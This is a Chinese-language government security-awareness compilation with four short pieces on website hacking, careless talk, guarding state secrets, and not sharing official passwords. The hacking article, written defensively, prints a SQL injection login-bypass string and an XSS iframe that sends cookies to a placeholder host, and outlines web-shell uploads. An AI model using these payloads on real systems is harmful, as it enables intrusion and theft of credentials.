機密維護常識彙編（100 年 10 月份）

＊你的網站是如何淪陷的？

一、前言

以往民眾想要逛街買東西，必須走到腳痠才可能買到自己喜歡的衣服、皮包及飾品；想要看熱門的電影，必須親自到電影院的售票亭排隊買票；出去旅遊想要訂旅館，必須一間一間打電話問旅館還有沒有房間，運氣不好時還會遇到服務與設備都不佳的旅館，令人敗興而歸。

然而，電腦與寬頻網路的普及，讓上述的噩夢不再出現。購物網站的出現，提供了上萬件的衣服、皮包及飾品供民眾挑選；電影院的購票網站讓你不用出門就可輕鬆訂到電影票；社群網站提供了其他旅客的住宿經驗供你參考，並可透過訂房網站在第一時間完成訂房手續。不同類型的網站如雨後春筍般不斷地出現在網際網路上，民眾只需要在該等網站上註冊成會員，便可免費享受網站帶來的便利。

通常民眾為了使用這些服務，便一股腦地於各個網站註冊會員，將自己的姓名、電子郵件、電話、身分證字號及地址等個人資料，交由網站作為會員資料之用。但是大多數的民眾卻忘了思考網站的安全性是否能夠保護你的個人資料不被駭客竊取；若網站本身存在嚴重的弱點，駭客可不費吹灰之力取得網頁伺服器的控制權，並轉賣你的個人資料以換取不法利益。此外，駭客在取得網頁伺服器的控制權後，可在網頁中插入惡意程式，當民眾瀏覽時便可能執行該惡意程式，在不知不覺中成為駭客所操控的殭屍網路的一部分；駭客便可藉由販賣殭屍網路的控制權給恐怖組織或其他非法人士，利用殭屍網路針對企業、組織及政府機關等進行阻斷式服務攻擊（Distributed Denial of Service, DDoS）。

根據 Zone-H 與資安之眼等資安網站的統計，目前全球每天有 1,200 個以上的網頁受到攻擊或遭受置換（實際上有更多的網站受到攻擊並未被發現），顯示現行的網站仍隱藏許多危險。或許組織已經部署防火牆，但是防火牆僅能針對連線的 IP 與連接埠進行限制；而駭客在攻擊網頁伺服器時，通常是連線到網頁伺服器

的連接埠，因此防火牆並無法阻擋駭客對網頁伺服器的連線，駭客便可肆無忌憚地攻擊網頁伺服器。

二、駭客是如何攻陷你的網頁伺服器

駭客入侵網頁伺服器的過程可分為 3 個階段：駭客首先會尋找網站後端管理介面，因為後端管理介面往往提供了完整的網站管理功能；在取得後端管理介面的網址後，駭客利用弱密碼或是網站本身的弱點，通過身分驗證機制，順便登入後端管理介面；最後，透過後端管理介面所提供的檔案上傳功能，上傳網頁型後門，並透過網頁型後門操作網頁伺服器。以下將分別針對這 3 個階段進行詳細說明：

（一）尋找網站後端管理介面

在網站發展初期，網站內容大多為靜態的頁面內容，網站管理　員若需更新資料時，需以人工的方式修改網頁原始碼內容，方可讓民眾看到新的網站資訊。現今網站為了應付大量的資料量，因此採用資料庫作為後端資料儲存媒介，並透過後端管理介面供網站管理員進行網站維護。

然而現今大多數的網站皆具有後端管理介面，讓網站管理員可利用此介面維護網站相關資訊，舉凡使用者、網站公告及檔案管理等功能，都可藉由此管理介面快速且方便地完成。不過這對於駭客而言，也是個相當方便的功能，駭客只要能找到網站的後端管理介面，並嘗試以網站管理員之身分登入，便有機會取得網頁伺服器的管理權限。

駭客首先會嘗試一般網站開發人員較常使用的後端管理介面 址，如：admin、manage 及 system 等關鍵字，只要在網址最後面加上這些關鍵字，任何人都可直接連線至後端管理介面。若駭客無法以 admin、manager 及 system 等關鍵字直接連線至網站後端管理介面，下一步則可利用搜尋引擎尋找網站之後端管理介面。利用搜尋引擎之 site 指令，可以搜尋所指定網站中所有頁面，並加上「管理介面」、「登入」及「後台管理」等關鍵字，尋找是否有出現後端管理介面之連結。

（二）嘗試繞過身分驗證機制

當駭客取得網站的後端管理介面網址之後，接下來的工作便是嘗試繞過身分驗證機制，以網站管理者之身分登入網站進行相關操作。駭客要繞過身分驗證機制，最直接的方法為搜集網站管理者較常使用的密碼於字典檔，再利用 Burp Suite 與 Paros 等封包發送工具，將字典檔中所有密碼逐一測試是否能通過身分驗證。

除了利用字典檔進行破解之外，駭客亦可利用 SQL Injection 弱點與 XSS 弱點等網站弱點繞過身分驗證機制。以 SQL Injection 為例，駭客在後端管理介面的帳號欄位輸入' or 1=1- -，密碼欄位則輸入 1234，改變網站開發人員所設計之 SQL 查詢語法之條件，便可通過身分驗證機制。

而 XSS 弱點則較常出現於網站的留言板、討論區及私人訊息等功能中；駭客將惡意之 HTML 或 JavaScript 程式碼隱藏於一般文字中，使用者便無法察覺他們正在瀏覽的網頁中帶有惡意的程式碼，如下所示：

iframe src="http://www.xxx.com.tw/index.php?value="+document.cookie height="0" weight="0">< /iframe >當網站管理者在瀏覽此篇文章時，並不會看到網頁中出現任何奇怪的程式碼，但是上述的惡意程式則在後端執行並竊取網站管理者的 Cookie 資料。駭客將自己的 Cookie 資料修改得和網站管理者的 Cookie 一樣，重新整理網頁後，就可以順利通過身分驗證機制，登入後端管理介面進行系統操作。

（三）取得網頁伺服器管理權限

許多網站開發人員會在開發網頁時，在後端管理介面提供檔案上傳之功能，以便於網站管理者在新增公告時，讓瀏覽者可直接下載附件。不過，對於駭客而言這個功能卻也是個相當方便的漏洞。

網站開發人員當初在設計檔案上傳功能時，往往認為僅有管理者會使用此功能，因此並未限制所能上傳之附件類型，駭客便可利用此項功能，將網頁型後門直接上傳至伺服器。駭客在上傳完成之後，回到網站首頁瀏覽新增之公告內

容，點選附件之連結就可以連線到剛才所上傳的網頁型後門，並瀏覽伺服器內所有的檔案。

一旦駭客透過網頁型後門存取伺服器的任意檔案，便可以根據程式原始碼的內容得到後端資料庫的連線位置、連線帳號及連線密碼。此時，駭客利用網頁型後門連線至資料庫中，網站的所有資料便一覽無遺，當然這也包括民眾在註冊會員時的個人資料。

三、結論

網站雖然提供了許多便捷的服務，讓民眾在家就可以買衣服、訂電影票及訂旅館，但其共通性都是需要民眾加入網站成為會員，才能使用這些便捷的服務，然而，網站本身的安全性是否能保障民眾的個人資料，仍然是一大問題。本文以駭客之角度描述如何利用網站弱點入侵網頁伺服器，從一開始的尋找後端管理介面，並嘗試繞過身分驗證機制，最後上傳網頁型後門取得網站的所有資料。

為了避免網站遭到駭客入侵，組織應立即針對網站的程式進行安全性檢測。組織可參考 OWASP 根據網頁應用程式弱點統計所公布的網頁應用程式 10 大弱點（OWASP TOP 10），進行全面性地網站安全性檢測。此外，組織可輔以網頁應用程式防火牆。（本文源自清流月刊）

＊言多必失，禍從口出

日前看到一則「酒後失言」的笑話，讓我在捧腹大笑之餘，內心感觸頗深。這則笑話是這樣的：

父子二人和朋友在一家餐廳喝酒，席間父親喝得相當高興，一連喝了兩大杯，兒子在旁怕他醉倒了，便拉拉他的衣服：「爸，您醉啦！別再喝了。」父親聽了有點生氣，拿起杯子便把酒一股腦地往肚子裡灌，喝完還逞強地說：「這幾杯酒怎麼醉得了我！」兒子怕他繼續喝，便拉拉他的衣角，「天色不早了，我們趕快回家吧！不然等會兒沒車子可坐，要摸黑回家很不方便的！」父親搖搖頭，不但不理兒子，還得意地說：「沒關係啦！你記不記得？去年你姐跟人家跑了，我還不是三更半夜把她給抓回來。」兒子聽了，臉脹得紅紅的，「爸，你真是的，不應該說的你也說！」父親以為

兒子在教訓自己，生氣的對著兒子大吼：「我這麼一大把年紀了，當然知道什麼該說、什麼不該說，想當初你媽懷著別人的孩子，嫁到我們家來，你有聽過我向誰說過嗎？」

這是二十幾年前的一則笑話，短短的幾個字，卻是酒後失言的最佳寫照。俗話說：「禍從口出」，意思就在提醒我們，說話應該謹慎，尤其是喝了酒之後，更應該特別小心注意。從古今中外的史實我們可以了解，有許多的是非，起因都源於說話不當所造成，所以古語才會有「一言興邦、一言喪邦」，目的也就在告誡我們要注意說話，不要逞一時之快，而使自己身陷萬劫不復的境地。

事實上，歷史故事中就有一則是因為多言而導致敗亡的事實史例。蜀漢建興十二年，孔明在整軍經武，並且休養生息三年後，為恢復漢室，舉兵伐魏，戰事一開始，孔明連戰皆捷，而魏軍大將司馬懿則是堅守城池，不與孔明正面交鋒，最後兩軍在五丈原形成對峙，孔明屢次擊鼓要求出戰，司馬懿皆不予回應。為了化解僵局，孔明決定派遣使者送信和女人的衣服給司馬懿，司馬懿看到信和女人的衣服後相當震怒，因為孔明諷刺他像女人一樣，不敢決一死戰，司馬懿心中雖然生氣，但他卻不動聲色，反而笑著問使者，「孔明說我像女人，我就是女人，但不知道孔明最近過得好不好，吃、睡如何？」結果使者在毫無警覺心的情況下，直接就說，「我們丞相夙興夜寐，事必躬親，而且吃的東西很少。」司馬懿聽了之後，相當高興，他知道孔明撐不了多久，於是繼續和孔明對峙，對孔明的諸多挑釁，完全置之不理，最後孔明終於病倒在五丈原，而魏軍也不費吹灰之力擊敗蜀軍。

從以上的故事我們可以了解，使者的目的僅止於送信而已，但他卻在和司馬懿閒聊中，不小心將孔明的生活作息說了出去，結果就因為這幾句話而拖垮了孔明，也讓蜀軍敗亡。從以上的二個案例我們可以清楚了解到「保密」的重要性，而事實上，有很多業務或公務上應該保守的機密，常常就在我們沒有警覺的情況下，洩漏了出去，而這些我們看起來零星不重要的事，在有心人士的拼湊下，就可以變成有系統的資料。

由上述的笑話和歷史故事來看，我們應該引以為戒，除對自身所承辦或接觸的業務，養成「保密」的習慣外，另外更應拒絕一切私人情誼與誘惑，謹言慎行，不該對

人說的，不要對人說，否則一旦機密外洩，影響的不只是個人的身家財產，更可能造成社會國家的損失，實在是不可不慎！（本資料摘自於台中市政府政風室）

＊提高警覺　防範洩密

報載有一旅美華裔科學家利用職務之便，將美國核武科技洩漏給中共，而國軍近年來武器系統不斷更新，也必是敵人刺探與破壞我戰力的主要目標，其方式有暗中的滲透，也有公開的蒐集，甚且以合法掩護非法等利用各種管道對我進行情報竊取，因此，如何維護國防機密防杜洩密？實在是個必須時時關心的課題，茲將實務上可行的作法分述如後。

一、管制辦公室內各項自動化裝備

科技發展日新月益，電腦運用更為廣泛，然而非法使用之伎倆亦隨之提昇而花樣百出，若不事先對人員及系統設備嚴採安全防護措施，一旦資訊系統遭受非法使用，其所造成之損壞勢必十分嚴重而無法彌補。

傳真作業隨科技發展日趨普遍，廣泛運用於各項機密資料之傳遞，若因疏忽或使用不當極易引發機密外洩，肇生處理困擾或發生危害，例如國軍明訂「傳真機保密安全管制規定」，嚴禁私自傳送分類保密資料，如需使用傳真作業，應配合保密措施傳遞，以防止洩密情形發生。鑑於各級單位對複印機使用需求擴增，私自送印資料情形，愈顯嚴重，如因疏忽大意或遭有心人士蒐集竊取，勢將嚴重影響機關安全，唯有確遵「複影〈印〉機使用管制規定」，方能杜絕洩密管道。

二、如何做好保密工作

(一)建立正確的保密觀念：保密工作的成敗，不僅關係到個人安危，且影響機關安全，以往大家多存有「自掃門前雪」的觀念，應養成主動檢舉洩密的風氣，惟有如此才能達到根絕洩密的最後目標。

(二)了解洩密的嚴重性：我們每個人除了自己要確遵保密規定外，還要運用高度的警覺性、敏銳的觀察力，及結合日常生活與工作的接觸面，嚴密注意周圍的人，有無洩密或違犯保密規定之行為，以共同維護機關與國家的安全，克盡自己應盡的一份責任。

(三)培養良好的保密習慣：保密的要旨，是要人人謹言慎行，守口如瓶，防止機密外洩，因為機密事宜，如果少一個人知道，就少一分洩密的顧慮，所以唯有人人保密，事事保密，時時提高警覺，才不致於使機密外洩，為敵人陰謀所乘。

(四)踐履反情報責任制：發現問題設法解決，遇有狀況立即反映，我們平日要注意週圍環境的人、事、地、物，去發掘問題、反映問題，在事情未發生前，能適時反映，因而採取預防措施，就能減少危害至最低限度。凡是影響單位安全的人、事、地、物，都是我們應該掌握調查反映的，並要確實把握「警覺就是力量」、「成效在於時間」，克盡反情報基本責任。（摘自網路）

＊公務電腦系統之通行密碼可否告知他人？

【案例】

某國稅局稅務員甲因工作繁忙，故將其電腦通行密碼告知配屬之內勤人員乙請其代為處理其職掌或業務範圍內營業稅系統之查詢及註記工作，請問是否妥適？

【研析】

大嘴丙 - 有什麼不可以?辦理營業稅設籍之查簽或審查工作既是甲之職掌，乙係該服務區之內勤人員，只要甲同意且有授權的意思，乙以甲的通行密碼執行營業稅系統之查詢及異動註記等工作，亦係協助工作之遂行，乙的性質就如同民法上的「使者」，而且有助於業務量的分擔，唉呀，就不要太計較啦！

大頭丁 - 這樣是不符合規定的哦！依據某局「電腦設備安全暨資訊機密維護實施要點」第某點規定：「本機關作業系統中各終端機使用者之識別碼及通行碼應依實際業務限制使用範圍，並嚴禁告知他人；凡通行碼無故為他人知悉或冒用者，應即通知資訊單位變更通行碼，並配合採取必要之保護措施。」可見通行密碼之重要性，使用者不可不慎！甲為了便利其業務之進行，將通行密碼告知乙，除違反上述規定外，如果因而發生洩密或資訊安全事件，甲仍應負相當之刑事、民事及行政責任，所以還是不要將電腦通行密碼隨便告訴他人吧！

【結論】

政府機關基於業務需要配賦承辦公務員電腦系統通行密碼，供電腦系統鑑別或辨識使用者之身分，並建立使用紀錄，以維護公務機密與資訊安全，故使用者負有保護通行密碼，維持通行密碼的機密性之義務，不宜任意告知他人；如確因業務需要由內勤人員乙代為處理其業務事項，建議報請權責長官核准後向資訊單位註冊，以取得使用電腦系統之正式授權。機關亦應明確規定使用者應負的義務，並以書面、電子或其他方式告知員工及使用者，要求其善盡保護公務電腦通行密碼之責任。(摘自網路)